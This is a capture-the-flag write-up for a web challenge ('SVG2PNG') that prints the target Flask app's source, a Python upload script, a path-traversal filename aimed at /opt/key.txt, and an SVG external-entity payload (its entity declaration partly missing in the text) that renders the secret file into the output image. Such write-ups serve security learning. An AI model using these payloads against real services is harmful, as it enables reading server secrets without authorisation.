Tags: web xml 

Rating: 5.0

# SVG2PNG
tags: web

## Description

>Convert your vector images to a facebook friendly format!

![](https://raw.githubusercontent.com/draane/CTF/master/PWN_CTF_2018/SVG2PNG/portal.png)

The task provides the code running the converter:
```python
import json
import os
import sys
import io

from svglib.svglib import svg2rlg
from reportlab.graphics import renderPM
from tempfile import NamedTemporaryFile, TemporaryFile
from flask import Flask, request, render_template, send_file
from lxml import etree

app = Flask(__name__)

UPLOAD_FOLDER = "/tmp"
SOURCE = open(__file__).read()
INDEX = open("templates/index.html").read()

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
# Our secret keys have the form flag{...}
app.secret_key = open("/opt/key.txt")

def convert_svg_png(svgfile):
tmpfile = NamedTemporaryFile(delete=False)
tmpfile.write(svgfile.stream.read())
tmpfile.close()
drawing = svg2rlg(tmpfile.name)
os.unlink(tmpfile.name)

tmp_output = io.BytesIO()
renderPM.drawToFile(drawing, tmp_output, fmt="PNG")
tmp_output.seek(0)

response = send_file(
tmp_output,
attachment_filename="converted.png",
mimetype="image/png"
)

return response

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
# check if the post request has the file part

if 'file' not in request.files:
return "No file uploaded"
else:
svgfile = request.files['file']

if svgfile.filename == '':
return "No file provided"

if svgfile:
if os.fstat(svgfile.stream.fileno()).st_size > 400:
return "File to big!"
else:
try:
return convert_svg_png(svgfile)
except:
return "Error while processing svg file"

return INDEX

@app.route("/source")
def source():
return SOURCE, 200, {'Content-Type': 'text/plain'}

if __name__ == '__main__':
app.run()
```

## Solution

To begin with I created a base svg image:

```xml

<svg
xmlns="http://www.w3.org/2000/svg"
width="200mm"
height="100mm">
</svg>
```

and a python script to automatically submit the image:
```python
import requests

url = "http://svgtopng.uni.hctf.fun/"
svg = "small.svg"
files = {'file': ('please_give_me_the_key.svg', open(svg,'rb')) }

response = requests.post(url, files=files)
print response

response_file = response._content
if len(response_file) < 100:
print response_file
else:
with open('flag.png', 'wb') as new_file:
new_file.write(response_file)
```

Looking at the code the first idea was trying some path traversing via the image filename, changing the fourth line in the script like this:

```python
files = {'file': ('../../../opt/key.txt', open(svg,'rb')) }
```

This approach didn't give any result, so the next idea was trying to include the flag into the converted image. Since I didn't know xml syntax very well I googled a while, and after some trial I came up with this svg that includes the file *key.txt* as a text into the image:

```xml

]>
<svg
xmlns="http://www.w3.org/2000/svg"
width="200mm"
height="10mm">
<text x="10" y="15" fill="red">
&dat;;
</text>
</svg>
```

After running the script with the new svg, the response image contains the flag:

![](https://raw.githubusercontent.com/draane/CTF/master/PWN_CTF_2018/SVG2PNG/flag.png)

Here it is!

Btw check out the easter egg in the flag. I've no idea who he is but it's amazing:
**flag{[https://www.youtube.com/watch?v=e5nyQmaq4k4#N1c3_W0rk!](https://www.youtube.com/watch?v=e5nyQmaq4k4#N1c3_W0rk!)}**

Original writeup (https://github.com/draane/CTF/tree/master/PWN_CTF_2018/SVG2PNG).